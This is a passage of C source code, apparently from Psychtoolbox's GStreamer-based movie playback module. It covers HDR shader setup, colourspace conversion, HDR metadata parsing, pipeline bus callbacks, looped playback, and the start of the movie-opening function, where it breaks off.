" /* L is now linear r,g,b in normalized [0; 1] linear range, where 0.0 = 0 nits and 1.0 = 10000 nits: */\n"
" break;\n"
" }\n"
"\n"
" case 15: {\n"
" /* 15 = GST_VIDEO_TRANSFER_ARIB_STD_B67: HLG: HDR */\n"
" const float c1 = 0.17883277;\n"
" const float c2 = 0.28466892;\n"
" const float c3 = 0.55991073;\n"
"\n"
" s = step(rgb, vec3(0.5));\n"
" L = mix((exp((rgb - c3) / c1) + c2) / 12.0, pow(rgb, vec3(2.0)) / 3.0, s);\n"
"\n"
" /* L is now linear r,g,b in normalized [0; 1] linear range, where 0.0 = 0 nits and 1.0 = 1000 nits. */\n"
" /* Map it down to [0; 0.1] range, as in our HDR system 0.1 should mean 1000 nits: */\n"
" L = L * 0.1;\n"
" break;\n"
" }\n"
" }\n"
"\n"
" /* Perform colorspace conversion movie->window via multiplication with 3x3 M_CSC matrix: */\n"
" L = M_CSC * L;\n"
"\n"
" /* Mark any invalid NaN component values which may have made it to here in a very clear and alarming red to prevent trouble from going unnoticed: */\n"
" if (isnan(L.r) || isnan(L.g) || isnan(L.b))\n"
" L = vec3(1.0, 0.0, 0.0);\n"
"\n"
" /* Multiply linear normalized [0 ; 1] range of r,g,b to target framebuffer range, e.g., [0 ; 10000.0] for absolute nits, [0 ; 125.0] for SDR 80-nit-units. */\n"
" /* Set alpha to 1.0 and multiply the final vec4 texcolor with incoming fragment color (GL_MODULATE emulation), and assign result as output fragment color. */\n"
" gl_FragColor = vec4(L.r * outUnitMultiplier, L.g * outUnitMultiplier, L.b * outUnitMultiplier, 1.0) * unclampedFragColor;\n"
"}\n";
// Stage 1: Sample [I420] / 422 / 444, [multiply by 65535 or 255 (> 8 bpc or not?)][, range convert (limited vs. full?)][, normalize.]
// [Y'U'V' -> R'G'B' (color matrix as input...)]
// Stage 2: R'G'B' -> RGB (apply EOTF), scale via HDR scaling factor.
// Maybe CSC?
static psych_bool PsychAssignMovieTextureConversionShader(PsychMovieRecordType* movie, PsychWindowRecordType* textureRecord)
{
// Get parent windowRecord for this movie frame texture:
PsychWindowRecordType *windowRecord = PsychGetParentWindow(textureRecord);
// Do we already have a planar HDR decode texture shader?
if (movie->texturePlanarHDRDecodeShader == 0) {
double Kr, Kb;
int offset[GST_VIDEO_MAX_COMPONENTS], scale[GST_VIDEO_MAX_COMPONENTS];
float outUnitMultiplier;
float yChromaScale;
int bpc = GST_VIDEO_FORMAT_INFO_DEPTH(movie->sinkVideoInfo.finfo, 0);
// Note: codecVideoInfo is used instead of sinkVideoInfo as source, to get the correct eotf. Why? The other one does
// not always provide accurate info. Don't know if this is a bug in GStreamer 1.18.0 or somehow intended behaviour.
int eotfType = movie->codecVideoInfo.colorimetry.transfer;
// Nope. Need to create one:
movie->texturePlanarHDRDecodeShader = PsychCreateGLSLProgram(movieTexturePlanarFragmentShaderSrc, movieTexturePlanarVertexShaderSrc, NULL);
if (movie->texturePlanarHDRDecodeShader == 0) {
if (PsychPrefStateGet_Verbosity() > 0)
printf("PTB-ERROR: Failed to create planar HDR decode and conversion shader for video texture!\n");
return(FALSE);
}
// Set up decoding parameters:
glUseProgram(movie->texturePlanarHDRDecodeShader);
// Tell shader if the planar storage mode is I420 (0.5x), I422 (1.0x) or I444 (2x -- Special value for shader!):
switch (GST_VIDEO_FORMAT_INFO_FORMAT(movie->sinkVideoInfo.finfo)) {
case GST_VIDEO_FORMAT_I420:
case GST_VIDEO_FORMAT_I420_10LE:
case GST_VIDEO_FORMAT_I420_12LE:
yChromaScale = 0.5;
if (PsychPrefStateGet_Verbosity() > 3)
printf("PTB-DEBUG: Using movie video frame decoding from YUV-I420 -> RGB with %i bpc precision. ", bpc);
break;
case GST_VIDEO_FORMAT_I422_10LE:
case GST_VIDEO_FORMAT_I422_12LE:
yChromaScale = 1.0;
if (PsychPrefStateGet_Verbosity() > 3)
printf("PTB-DEBUG: Using movie video frame decoding from YUV-I422 -> RGB with %i bpc precision. ", bpc);
break;
case GST_VIDEO_FORMAT_Y444:
case GST_VIDEO_FORMAT_Y444_10LE:
case GST_VIDEO_FORMAT_Y444_12LE:
case GST_VIDEO_FORMAT_Y444_16LE:
yChromaScale = 2.0;
if (PsychPrefStateGet_Verbosity() > 3)
printf("PTB-DEBUG: Using movie video frame decoding from YUV-I444/Y444 -> RGB with %i bpc precision. ", bpc);
break;
default:
if (PsychPrefStateGet_Verbosity() > 0)
printf("PTB-ERROR: Failed to setup planar HDR decode and conversion shader for video texture! Unrecognized format.\n");
return(FALSE);
}
glUniform1f(glGetUniformLocation(movie->texturePlanarHDRDecodeShader, "yChromaScale"), yChromaScale);
// Tell shader if this is stored in a 16 bpc container or 8 bpc container, ie. which scaling to use:
glUniform1f(glGetUniformLocation(movie->texturePlanarHDRDecodeShader, "unormInputScaling"), (bpc > 8) ? 65535.0 : 255.0);
// First handle limited vs. full range encoding, and different bit depths, to
// map all Y luma into [0; 1] range and all U,V chroma into [-0.5 ; 0.5] range:
if (PsychPrefStateGet_Verbosity() > 3)
printf("%s range input. ", (movie->sinkVideoInfo.colorimetry.range == GST_VIDEO_COLOR_RANGE_16_235) ? "Limited" : "Full");
// GStreamer gets us the needed offset and scale factors to apply in the shader as c = (c - offset) / scale:
gst_video_color_range_offsets(movie->sinkVideoInfo.colorimetry.range, movie->sinkVideoInfo.finfo, offset, scale);
glUniform3f(glGetUniformLocation(movie->texturePlanarHDRDecodeShader, "rangeScale"), 1.0 / (float) scale[0], 1.0 / (float) scale[1], 1.0 / (float) scale[2]);
glUniform3f(glGetUniformLocation(movie->texturePlanarHDRDecodeShader, "rangeOffset"), (float) offset[0], (float) offset[1], (float) offset[2]);
// Get Kr, Kb coefficients for conversion of YUV -> R'G'B' in the shader. GStreamer
// provides us with the proper coefficients for a given color conversion matrix:
if (!gst_video_color_matrix_get_Kr_Kb (movie->sinkVideoInfo.colorimetry.matrix, (gdouble*) &Kr, (gdouble*) &Kb)) {
if (PsychPrefStateGet_Verbosity() > 0)
printf("PTB-ERROR: Failed to setup planar HDR decode and conversion shader for video texture! Could not get color matrix coefficients.\n");
return(FALSE);
}
glUniform1f(glGetUniformLocation(movie->texturePlanarHDRDecodeShader, "Kr"), Kr);
glUniform1f(glGetUniformLocation(movie->texturePlanarHDRDecodeShader, "Kb"), Kb);
// Tell shader about type of EOTF transfer function:
glUniform1i(glGetUniformLocation(movie->texturePlanarHDRDecodeShader, "eotfType"), eotfType);
// Assign output multiplier for linear (r,g,b) values, to convert into target unit used in Psychtoolbox windows framebuffer:
switch(eotfType) {
case 14: // aka GST_VIDEO_TRANSFER_SMPTE2084 - HDR PQ
case 15: // aka GST_VIDEO_TRANSFER_ARIB_STD_B67 - HDR HLG
// HDR movie format: Scale normalized 0-1 range where 0 = 0 Nits, 1 = 10000 nits, to framebuffer HDR units:
outUnitMultiplier = windowRecord->normalizedToHDRScaleFactor;
if (PsychPrefStateGet_Verbosity() > 3)
printf("HDR footage, eotf %i. HDR mapping to [0.0 ; %2f].\n", eotfType, outUnitMultiplier);
break;
default:
// SDR / LDR movie format: Upscale to HDR color range of window:
outUnitMultiplier = windowRecord->maxSDRToHDRScaleFactor;
if (PsychPrefStateGet_Verbosity() > 3)
printf("SDR/LDR footage, eotf %i. HDR mapping to [0.0 ; %2f].\n", eotfType, outUnitMultiplier);
break;
}
glUniform1f(glGetUniformLocation(movie->texturePlanarHDRDecodeShader, "outUnitMultiplier"), outUnitMultiplier);
// Convert from colorspace of movie to colorspace of onscreen window, by use of a 3x3 CSC matrix:
{
tMat3x3 M_RGBMovie_to_XYZ;
tMat3x3 M_RGBWindow_to_XYZ;
tMat3x3 M_XYZ_to_RGBWindow;
tMat3x3 M_CSC;
float M_CSC_f[9];
int i, j, k = 0;
// Query chromaticity coordinates or primaries and white-point of the encoding colorspace of the movie:
const GstVideoColorPrimariesInfo *pinfo = gst_video_color_primaries_get_info(movie->sinkVideoInfo.colorimetry.primaries);
// Assign primary/wp coords to format for our helper function:
tVec2 pR = { pinfo->Rx, pinfo->Ry };
tVec2 pG = { pinfo->Gx, pinfo->Gy };
tVec2 pB = { pinfo->Bx, pinfo->By };
tVec2 pW = { pinfo->Wx, pinfo->Wy };
// Generate conversion matrix from linear movie RGB space to XYZ space:
CalcColorSpaceConversion_RGB_to_XYZ(&M_RGBMovie_to_XYZ, pR, pG, pB, pW);
// Generate conversion matrix from XYZ space to target linear onscreen window RGB space:
if (windowRecord->colorGamut[0] == 0 || windowRecord->colorGamut[1] == 0) {
// The color gamut of the target onscreen window is not yet defined, ie.
// no external script has set it up. Choose default values, based on type of
// onscreen window, which is BT-2020 for a HDR window, and assumed to be BT-709
// (~ sRGB) for a standard window:
const GstVideoColorPrimariesInfo *pinfo2 = gst_video_color_primaries_get_info((windowRecord->imagingMode & kPsychNeedHDRWindow) ? GST_VIDEO_COLOR_PRIMARIES_BT2020 : GST_VIDEO_COLOR_PRIMARIES_BT709);
// Assign primary/wp coords to format for our helper function:
pR.x = pinfo2->Rx;
pR.y = pinfo2->Ry;
pG.x = pinfo2->Gx;
pG.y = pinfo2->Gy;
pB.x = pinfo2->Bx;
pB.y = pinfo2->By;
pW.x = pinfo2->Wx;
pW.y = pinfo2->Wy;
}
else {
// Use color primaries and white point from user settings:
double *p = &windowRecord->colorGamut[0];
pR.x = *(p++);
pR.y = *(p++);
pG.x = *(p++);
pG.y = *(p++);
pB.x = *(p++);
pB.y = *(p++);
pW.x = *(p++);
pW.y = *(p++);
}
// Get XYZ to RGB window by computing RGB of window to XYZ, then inverting that matrix:
CalcColorSpaceConversion_RGB_to_XYZ(&M_RGBWindow_to_XYZ, pR, pG, pB, pW);
if (!Mat_Invert(&M_XYZ_to_RGBWindow, M_RGBWindow_to_XYZ)) {
if (PsychPrefStateGet_Verbosity() > 0)
printf("PTB-ERROR: Failed to setup planar HDR decode and conversion shader for video texture! User code assigned invalid (== non-invertible/degenerated) color gamut to target window.\n");
return(FALSE);
}
// Build final M_CSC color space conversion matrix as M_CSC = M_XYZ_to_RGBWindow * M_RGBMovie_to_XYZ:
Mat_Mult(&M_CSC, M_XYZ_to_RGBWindow, M_RGBMovie_to_XYZ);
// Shader needs float matrix, not double matrix, so need to convert M_CSC into a float version:
for (i = 0; i < 3; i++) {
for (j = 0; j < 3; j++)
M_CSC_f[k++] = (float) M_CSC.m[i][j];
}
// Assign M_CSC as CSC matrix for shader:
glUniformMatrix3fv(glGetUniformLocation(movie->texturePlanarHDRDecodeShader, "M_CSC"), 1, GL_TRUE, (const GLfloat*) M_CSC_f);
if (PsychPrefStateGet_Verbosity() > 3) {
printf("PTB-DEBUG: Applying following 3x3 colorspace conversion matrix to movie footage:\n\n");
for (i = 0; i < 3; i++) {
for (j = 0; j < 3; j++)
printf("%f ", M_CSC.m[i][j]);
printf("\n");
}
printf("\n\n");
}
}
// Setup of sampling and conversion shader complete:
glUseProgram(0);
}
// Assign our movies planar HDR decoding shader to this video frame texture:
// We don't support GL_TEXTURE_2D textures yet though, so only auto-assign shader for rectangle textures.
if (textureRecord && !(PsychGetTextureTarget(textureRecord) == GL_TEXTURE_2D))
textureRecord->textureFilterShader = -1 * movie->texturePlanarHDRDecodeShader;
// Done.
return(TRUE);
}
/*
* PsychGSMovieInit() -- Initialize movie subsystem.
* This routine is called by Screen's RegisterProject.c PsychModuleInit()
* routine at Screen load-time. It clears out the movieRecordBANK to
* bring the subsystem into a clean initial state.
*/
void PsychGSMovieInit(void)
{
// Initialize movieRecordBANK with NULL-entries:
int i;
for (i=0; i < PSYCH_MAX_MOVIES; i++) {
memset(&movieRecordBANK[i], 0, sizeof(PsychMovieRecordType));
}
numMovieRecords = 0;
// Note: This is deprecated and not needed anymore on GLib 2.31.0 and later, as
// GLib's threading system auto-initializes on first use since that version. We
// keep it for now to stay compatible to older systems, e.g., Ubuntu 10.04 LTS,
// conditionally on the GLib version we build against:
#if !GLIB_CHECK_VERSION (2, 31, 0)
// Initialize GLib's threading system early:
if (!g_thread_supported()) g_thread_init(NULL);
#endif
return;
}
int PsychGSGetMovieCount(void) {
return(numMovieRecords);
}
// Does the installed GStreamer SDK include video-hdr.h, because it is for
// GStreamer 1.17.0+?
#ifndef __GST_VIDEO_HDR_H__
// No: Use our own version of that file as a drop-in replacement, so we can
// build for GStreamer 1.17+ with an older GStreamer SDK:
#include "video-hdr.h"
#endif
// Still not there? If so, abort compile.
#ifndef __GST_VIDEO_HDR_H__
#error Missing GStreamer 1.18+ video-hdr!
#endif
// Dynamic function pointer prototypes for functions needed from GStreamer 1.18+ for HDR metadata parsing:
gboolean (*psych_gst_video_mastering_display_info_from_caps)(GstVideoMasteringDisplayInfo *minfo, const GstCaps *caps) = NULL;
gboolean (*psych_gst_video_content_light_level_from_caps)(GstVideoContentLightLevel *linfo, const GstCaps *caps) = NULL;
static void PsychParseMovieHDRMetadata(PsychMovieRecordType* movie, const GstCaps* caps)
{
GstVideoMasteringDisplayInfo minfo;
GstVideoContentLightLevel linfo;
psych_bool hdr_firsttime = TRUE;
// Zero init HDR metadata:
memset(&movie->hdrMetaData, 0, sizeof(movie->hdrMetaData));
// Need to runtime link the two HDR metadata parsing functions needed, but
// only available in GStreamer 1.18+ (or at least GStreamer 1.17+):
if (hdr_firsttime) {
hdr_firsttime = FALSE;
#if PSYCH_SYSTEM == PSYCH_WINDOWS
HANDLE gstvideo_handle = GetModuleHandle("gstvideo-1.0-0.dll");
psych_gst_video_mastering_display_info_from_caps = (void*) GetProcAddress(gstvideo_handle, "gst_video_mastering_display_info_from_caps");
psych_gst_video_content_light_level_from_caps = (void*) GetProcAddress(gstvideo_handle, "gst_video_content_light_level_from_caps");
#else
psych_gst_video_mastering_display_info_from_caps = dlsym(RTLD_DEFAULT, "gst_video_mastering_display_info_from_caps");
psych_gst_video_content_light_level_from_caps = dlsym(RTLD_DEFAULT, "gst_video_content_light_level_from_caps");
#endif
}
// Are the HDR caps parsing functions supported and bound?
if ((NULL == psych_gst_video_mastering_display_info_from_caps) || (NULL == psych_gst_video_content_light_level_from_caps)) {
// Nope, we are done here:
if (PsychPrefStateGet_Verbosity() > 3)
printf("PTB-DEBUG: This GStreamer version does not support HDR metadata parsing.\n");
return;
}
// Parse mastering display info, ie. color gamut and min/max luminance:
if (psych_gst_video_mastering_display_info_from_caps(&minfo, caps)) {
if (PsychPrefStateGet_Verbosity() > 3)
printf("PTB-DEBUG: HDR mastering display properties assigned.\n");
movie->hdrMetaData.displayPrimaryRed[0] = (double) minfo.display_primaries[0].x / 50000.0;
movie->hdrMetaData.displayPrimaryRed[1] = (double) minfo.display_primaries[0].y / 50000.0;
movie->hdrMetaData.displayPrimaryGreen[0] = (double) minfo.display_primaries[1].x / 50000.0;
movie->hdrMetaData.displayPrimaryGreen[1] = (double) minfo.display_primaries[1].y / 50000.0;
movie->hdrMetaData.displayPrimaryBlue[0] = (double) minfo.display_primaries[2].x / 50000.0;
movie->hdrMetaData.displayPrimaryBlue[1] = (double) minfo.display_primaries[2].y / 50000.0;
movie->hdrMetaData.whitePoint[0] = (double) minfo.white_point.x / 50000.0;
movie->hdrMetaData.whitePoint[1] = (double) minfo.white_point.y / 50000.0;
movie->hdrMetaData.minLuminance = (double) minfo.min_display_mastering_luminance / 10000.0;
movie->hdrMetaData.maxLuminance = (double) minfo.max_display_mastering_luminance / 10000.0;
movie->hdrMetaData.valid = TRUE;
// Currently we only support MetadataType 0, ie. "Static HDR Metadata Type 1" as known
// from HDR-10 standard, and supported by GStreamer 1.18.0+:
movie->hdrMetaData.type = 0;
}
else {
if (PsychPrefStateGet_Verbosity() > 3)
printf("PTB-DEBUG: No HDR mastering display info available for movie.\n");
}
// Parse content light levels:
if (psych_gst_video_content_light_level_from_caps(&linfo, caps)) {
if (PsychPrefStateGet_Verbosity() > 3)
printf("PTB-DEBUG: HDR content light level info assigned.\n");
movie->hdrMetaData.maxFrameAverageLightLevel = (double) linfo.max_frame_average_light_level;
movie->hdrMetaData.maxContentLightLevel = (double) linfo.max_content_light_level;
movie->hdrMetaData.valid = TRUE;
}
else {
if (PsychPrefStateGet_Verbosity() > 3)
printf("PTB-DEBUG: No HDR content light level info available for movie.\n");
}
}
// Forward declaration:
static gboolean PsychMovieBusCallback(GstBus *bus, GstMessage *msg, gpointer dataptr);
/* Perform context loop iterations (for bus message handling) if doWait == false,
* as long as there is work to do, or at least two seconds worth of iterations
* if doWait == true. This drives the message-bus callback, so needs to be
* performed to get any error reporting etc.
*/
int PsychGSProcessMovieContext(PsychMovieRecordType* movie, psych_bool doWait)
{
GstBus* bus;
GstMessage *msg;
psych_bool workdone = FALSE;
double tdeadline, tnow;
PsychGetAdjustedPrecisionTimerSeconds(&tdeadline);
tnow = tdeadline;
tdeadline+=2.0;
// New style:
bus = gst_pipeline_get_bus(GST_PIPELINE(movie->theMovie));
msg = NULL;
// If doWait, try to perform iterations until 2 seconds elapsed or at least one event handled:
while (doWait && (tnow < tdeadline) && !gst_bus_have_pending(bus)) {
// Update time:
PsychYieldIntervalSeconds(0.010);
PsychGetAdjustedPrecisionTimerSeconds(&tnow);
}
msg = gst_bus_pop(bus);
while (msg) {
workdone = TRUE;
PsychMovieBusCallback(bus, msg, movie);
gst_message_unref(msg);
msg = gst_bus_pop(bus);
}
gst_object_unref(bus);
return(workdone);
}
/* Initiate pipeline state changes: Startup, Preroll, Playback, Pause, Standby, Shutdown. */
static psych_bool PsychMoviePipelineSetState(GstElement* theMovie, GstState state, double timeoutSecs)
{
GstState state_pending;
GstStateChangeReturn rcstate;
gst_element_set_state(theMovie, state);
// Non-Blocking, async?
if (timeoutSecs < 0) return(TRUE);
// Wait for up to timeoutSecs for state change to complete or fail:
rcstate = gst_element_get_state(theMovie, &state, &state_pending, (GstClockTime) (timeoutSecs * 1e9));
switch(rcstate) {
case GST_STATE_CHANGE_SUCCESS:
//printf("PTB-DEBUG: Statechange completed with GST_STATE_CHANGE_SUCCESS.\n");
break;
case GST_STATE_CHANGE_ASYNC:
printf("PTB-INFO: Statechange in progress with GST_STATE_CHANGE_ASYNC.\n");
break;
case GST_STATE_CHANGE_NO_PREROLL:
//printf("PTB-INFO: Statechange completed with GST_STATE_CHANGE_NO_PREROLL.\n");
break;
case GST_STATE_CHANGE_FAILURE:
printf("PTB-ERROR: Statechange failed with GST_STATE_CHANGE_FAILURE!\n");
return(FALSE);
break;
default:
printf("PTB-ERROR: Unknown state-change result in preroll.\n");
return(FALSE);
}
return(TRUE);
}
psych_bool PsychIsMovieSeekable(PsychMovieRecordType* movie)
{
GstQuery *query;
gint64 start, end;
gboolean seekable = FALSE;
query = gst_query_new_seeking(GST_FORMAT_TIME);
if (gst_element_query(movie->theMovie, query)) {
gst_query_parse_seeking(query, NULL, &seekable, &start, &end);
if (seekable) {
if (PsychPrefStateGet_Verbosity() > 4) {
printf("PTB-DEBUG: Seeking is enabled from %" GST_TIME_FORMAT " to %" GST_TIME_FORMAT "\n",
GST_TIME_ARGS (start), GST_TIME_ARGS (end));
}
}
else {
if (PsychPrefStateGet_Verbosity() > 4) printf("PTB-DEBUG: Seeking is disabled for this movie stream.\n");
}
}
else {
if (PsychPrefStateGet_Verbosity() > 1) printf("PTB-WARNING: Seeking query failed!\n");
}
gst_query_unref(query);
return((psych_bool) seekable);
}
/* Receive messages from the playback pipeline message bus and handle them: */
static gboolean PsychMovieBusCallback(GstBus *bus, GstMessage *msg, gpointer dataptr)
{
GstSeekFlags rewindFlags = 0;
PsychMovieRecordType* movie = (PsychMovieRecordType*) dataptr;
(void) bus;
if (PsychPrefStateGet_Verbosity() > 11) printf("PTB-DEBUG: PsychMovieBusCallback: Msg source name and type: %s : %s\n", GST_MESSAGE_SRC_NAME(msg), GST_MESSAGE_TYPE_NAME(msg));
switch (GST_MESSAGE_TYPE (msg)) {
case GST_MESSAGE_SEGMENT_DONE:
// We usually receive segment done message instead of eos if looped playback is active and
// the end of the stream is approaching, so we fallthrough to message eos for rewinding...
if (PsychPrefStateGet_Verbosity() > 4) printf("PTB-DEBUG: PsychMovieBusCallback: Message SEGMENT_DONE received.\n");
// Fall through.
case GST_MESSAGE_EOS: {
// Rewind at end of movie if looped playback enabled:
if ((GST_MESSAGE_TYPE (msg) == GST_MESSAGE_EOS) && (PsychPrefStateGet_Verbosity() > 4)) printf("PTB-DEBUG: PsychMovieBusCallback: Message EOS received.\n");
// Looping via seek requested (method 0x1) and playback active?
if ((movie->loopflag & 0x1) && (movie->rate != 0)) {
// Perform loop via rewind via seek:
if (PsychPrefStateGet_Verbosity() > 4) printf("PTB-DEBUG: PsychMovieBusCallback: End of iteration in active looped playback reached: Rewinding...\n");
// Seek: We normally don't GST_SEEK_FLAG_FLUSH here, so the rewinding is smooth because we don't throw away buffers queued in the pipeline,
// unless we are at the end of the stream (EOS), so there ain't anything queued in the pipeline, or code requests an explicit pipeline flush via flag 0x8.
// This seems to make no sense (why flush an already EOS - empty pipeline?) but is neccessary for some movies with sound on some systems:
if ((GST_MESSAGE_TYPE(msg) == GST_MESSAGE_EOS) || (movie->loopflag & 0x8)) rewindFlags |= GST_SEEK_FLAG_FLUSH;
// On some movies and configurations, we need a segment seek as indicated by flag 0x4:
if (movie->loopflag & 0x4) rewindFlags |= GST_SEEK_FLAG_SEGMENT;
// Seek method depends on playback direction:
if (movie->rate > 0) {
if (!gst_element_seek(movie->theMovie, movie->rate, GST_FORMAT_TIME, GST_SEEK_FLAG_ACCURATE | rewindFlags, GST_SEEK_TYPE_SET, 0, GST_SEEK_TYPE_NONE, GST_CLOCK_TIME_NONE)) {
if (PsychPrefStateGet_Verbosity() > 1) printf("PTB-WARNING: Rewinding video in forward playback failed!\n");
}
}
else {
if (!gst_element_seek(movie->theMovie, movie->rate, GST_FORMAT_TIME, GST_SEEK_FLAG_ACCURATE | rewindFlags, GST_SEEK_TYPE_NONE, GST_CLOCK_TIME_NONE, GST_SEEK_TYPE_END, 0)) {
if (PsychPrefStateGet_Verbosity() > 1) printf("PTB-WARNING: Rewinding video in reverse playback failed!\n");
}
}
}
break;
}
case GST_MESSAGE_BUFFERING: {
// Pipeline is buffering data, e.g., during network streaming playback.
// Print some optional status info:
gint percent = 0;
gst_message_parse_buffering(msg, &percent);
if (PsychPrefStateGet_Verbosity() > 3) printf("PTB-INFO: Movie '%s', buffering video data: %i percent done ...\n", movie->movieName, (int) percent);
break;
}
case GST_MESSAGE_WARNING: {
gchar *debug;
GError *error;
gst_message_parse_warning(msg, &error, &debug);
if (PsychPrefStateGet_Verbosity() > 3) {
printf("PTB-WARNING: GStreamer movie playback engine reports this warning:\n"
" Warning from element %s: %s\n", GST_OBJECT_NAME(msg->src), error->message);
printf(" Additional debug info: %s.\n", (debug) ? debug : "None");
}
g_free(debug);
g_error_free(error);
break;
}
case GST_MESSAGE_ERROR: {
gchar *debug;
GError *error;
gst_message_parse_error(msg, &error, &debug);
if (PsychPrefStateGet_Verbosity() > 0) {
// Most common case, "File not found" error? If so, we provide a pretty-printed error message:
if ((error->domain == GST_RESOURCE_ERROR) && (error->code == GST_RESOURCE_ERROR_NOT_FOUND)) {
printf("PTB-ERROR: Could not open movie file [%s] for playback! No such moviefile with the given absolute path and filename.\n",
movie->movieName);
printf("PTB-ERROR: Please note that you *must* provide an absolute path and filename for your movie file, filename alone won't work.\n");
printf("PTB-ERROR: The specific file URI of the missing movie was: %s.\n", movie->movieLocation);
}
else {
// Nope, something more special. Provide detailed GStreamer error output:
printf("PTB-ERROR: GStreamer movie playback engine reports this error:\n"
" Error from element %s: %s\n", GST_OBJECT_NAME(msg->src), error->message);
printf(" Additional debug info: %s.\n\n", (debug) ? debug : "None");
// And some interpretation for our technically challenged users ;-):
if ((error->domain == GST_RESOURCE_ERROR) && (error->code != GST_RESOURCE_ERROR_NOT_FOUND)) {
printf(" This means that there was some problem with reading the movie file (permissions etc.).\n\n");
}
}
}
g_free(debug);
g_error_free(error);
break;
}
default:
break;
}
return TRUE;
}
/* Called at each end-of-stream event at end of playback: */
static void PsychEOSCallback(GstAppSink *sink, gpointer user_data)
{
(void) sink, (void) user_data;
//PsychMovieRecordType* movie = (PsychMovieRecordType*) user_data;
//PsychLockMutex(&movie->mutex);
//printf("PTB-DEBUG: Videosink reached EOS.\n");
//PsychSignalCondition(&movie->condition);
//PsychUnlockMutex(&movie->mutex);
return;
}
/* Called whenever an active seek has completed or pipeline goes into pause.
* Signals/handles arrival of preroll buffers. Used to detect/signal when
* new videobuffers are available in non-playback mode.
*/
static GstFlowReturn PsychNewPrerollCallback(GstAppSink *sink, gpointer user_data)
{
PsychMovieRecordType* movie = (PsychMovieRecordType*) user_data;
(void) sink;
PsychLockMutex(&movie->mutex);
//printf("PTB-DEBUG: New PrerollBuffer received.\n");
movie->preRollAvail++;
PsychSignalCondition(&movie->condition);
PsychUnlockMutex(&movie->mutex);
return(GST_FLOW_OK);
}
/* Called whenever pipeline is in active playback and a new video frame arrives.
* Used to detect/signal when new videobuffers are available in playback mode.
*/
static GstFlowReturn PsychNewBufferCallback(GstAppSink *sink, gpointer user_data)
{
PsychMovieRecordType* movie = (PsychMovieRecordType*) user_data;
(void) sink;
PsychLockMutex(&movie->mutex);
//printf("PTB-DEBUG: New Buffer received.\n");
movie->frameAvail++;
PsychSignalCondition(&movie->condition);
PsychUnlockMutex(&movie->mutex);
return(GST_FLOW_OK);
}
/* Not used by us, but needs to be defined as no-op anyway: */
/* // There are only 3 function pointers in GstAppSinkCallbacks now
static GstFlowReturn PsychNewBufferListCallback(GstAppSink *sink, gpointer user_data)
{
(void) sink, (void) user_data;
//PsychMovieRecordType* movie = (PsychMovieRecordType*) user_data;
//PsychLockMutex(&movie->mutex);
//printf("PTB-DEBUG: New Bufferlist received.\n");
//PsychSignalCondition(&movie->condition);
//PsychUnlockMutex(&movie->mutex);
return(GST_FLOW_OK);
}
*/
/* Not used by us, but needs to be defined as no-op anyway: */
static void PsychDestroyNotifyCallback(gpointer user_data)
{
(void) user_data;
return;
}
/* This callback is called when the pipeline is about to finish playback
* of the current movie stream. If looped playback via method 0x2 is enabled,
* this needs to trigger a repetition by rescheduling the movie URI for playback.
*
* Allows gapless playback, but doesn't work reliable on all media types.
*
*/
static void PsychMovieAboutToFinishCB(GstElement *theMovie, gpointer user_data)
{
PsychMovieRecordType* movie = (PsychMovieRecordType*) user_data;
// Loop method 0x2 active?
if ((movie->loopflag & 0x2) && (movie->rate != 0)) {
g_object_set(G_OBJECT(theMovie), "uri", movie->movieLocation, NULL);
if (PsychPrefStateGet_Verbosity() > 4) printf("PTB-DEBUG: About-to-finish received: Rewinding via uri method.\n");
}
return;
}
/* Not used, didn't work, but left here in case we find a use for it in the future. */
/*
static void PsychMessageErrorCB(GstBus *bus, GstMessage *msg)
{
gchar *debug;
GError *error;
(void) bus;
gst_message_parse_error (msg, &error, &debug);
g_free (debug);
printf("PTB-BUSERROR: %s\n", error->message);
g_error_free (error);
return;
}
*/
static GstAppSinkCallbacks videosinkCallbacks = {
PsychEOSCallback,
PsychNewPrerollCallback,
PsychNewBufferCallback,
{0}
};
/*
* PsychGSCreateMovie() -- Create a movie object.
*
* This function tries to open a moviefile (with or without audio/video tracks)
* and create an associated movie object for it.
*
* win = Pointer to window record of associated onscreen window.
* moviename = char* with the name of the moviefile.
* preloadSecs = How many seconds of the movie should be preloaded/prefetched into RAM at movie open time?
* moviehandle = handle to the new movie.
* asyncFlag = As passed to 'OpenMovie'
* specialFlags1 = As passed to 'OpenMovie'
* pixelFormat = As passed to 'OpenMovie'
* maxNumberThreads = Maximum number of decode threads to use (0 = auto, 1 = One, ...);
* movieOptions = Options string with additional options for movie playback.
*/
void PsychGSCreateMovie(PsychWindowRecordType *win, const char* moviename, double preloadSecs, int* moviehandle, int asyncFlag, int specialFlags1, int pixelFormat, int maxNumberThreads, char* movieOptions)
{
GValue item = G_VALUE_INIT;
GstCaps *colorcaps = NULL;
GstElement *theMovie = NULL;
GstElement *videocodec = NULL;
GstElement *videosink = NULL;
GstElement *audiosink;
gchar* pstring;
gint64 length_format;
GstPad *pad, *peerpad;
const GstCaps *caps;
GstStructure *str;
gint width,height;
gint rate1, rate2;
int i, slotid;
int max_video_threads;
char movieLocation[FILENAME_MAX];
psych_bool printErrors;
GstIterator *it;
psych_bool done;
GstPlayFlags playflags = 0;
psych_bool needCodecSetup = FALSE;
// Suppress output of error-messages if moviehandle == 1000. That means we
// run in our own Posix-Thread, not in the Matlab-Thread. Printing via Matlabs
// printing facilities would likely cause a terrible crash.
printErrors = (*moviehandle == -1000) ? FALSE : TRUE;
// Gapless playback requested? Normally *moviehandle is == -1, so a positive
// handle requests this mode and defines the actual handle of the movie to use:
if (*moviehandle >= 0) {
// Queueing a new moviename of a movie to play next: This only works
// for already opened/created movies whose pipeline is at least in
// READY state, better PAUSED or PLAYING. Validate preconditions:
// Valid handle for existing movie?
if (*moviehandle < 0 || *moviehandle >= PSYCH_MAX_MOVIES) {
PsychErrorExitMsg(PsychError_user, "Invalid moviehandle provided!");
}
// Fetch references to objects we need:
theMovie = movieRecordBANK[*moviehandle].theMovie;
if (theMovie == NULL) {
PsychErrorExitMsg(PsychError_user, "Invalid moviehandle provided. No movie associated with this handle !!!");
}
// Ok, this means we have a handle to an existing, fully operational
// playback pipeline. Convert moviename to a valid URL and queue it:
// Create name-string for moviename: If an URI qualifier is at the beginning,
// we're fine and just pass the URI as-is. Otherwise we add the file:// URI prefix.
if (strstr(moviename, "://") || ((strstr(moviename, "v4l") == moviename) && strstr(moviename, "//"))) {
snprintf(movieLocation, sizeof(movieLocation)-1, "%s", moviename);
} else {
snprintf(movieLocation, sizeof(movieLocation)-1, "file:///%s", moviename);
}
strncpy(movieRecordBANK[*moviehandle].movieLocation, movieLocation, FILENAME_MAX);
